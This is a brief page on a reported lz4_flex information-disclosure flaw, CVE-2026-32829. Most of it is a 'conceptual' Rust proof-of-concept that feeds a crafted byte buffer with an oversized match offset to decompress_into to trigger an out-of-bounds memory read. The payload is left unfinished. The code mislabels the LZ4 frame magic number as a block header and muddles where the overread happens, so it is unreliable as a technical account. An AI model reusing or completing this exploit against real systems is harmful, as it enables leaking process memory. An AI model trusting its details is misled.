CVE-2026-32829 lz4_flex信息泄露漏洞

// Conceptual PoC for CVE-2026-32829 // Demonstrates vulnerable usage of lz4_flex use lz4_flex::block::decompress_into; fn main() { // Malformed LZ4 block data designed to trigger out-of-bounds read // This payload requires specific crafting to produce a negative/large offset let malicious_input: Vec<u8> = vec![ 0x04, 0x22, 0x4d, 0x18, // Example Header 0x20, 0x00, 0x00, 0x00, // Literal length 0xFF, 0xFF, 0xFF, 0xFF, // Match offset (vulnerable point) // ... additional payload bytes ... ]; let mut dest = vec![0u8; 4096]; // Output buffer // Calling the vulnerable function // In affected versions, this reads past 'dest' based on the offset match decompress_into(&malicious_input, &mut dest) { Ok(size) => println!("Decompressed {} bytes. Potential memory leak occurred.", size), Err(e) => println!("Decompression failed: {:?}", e), } }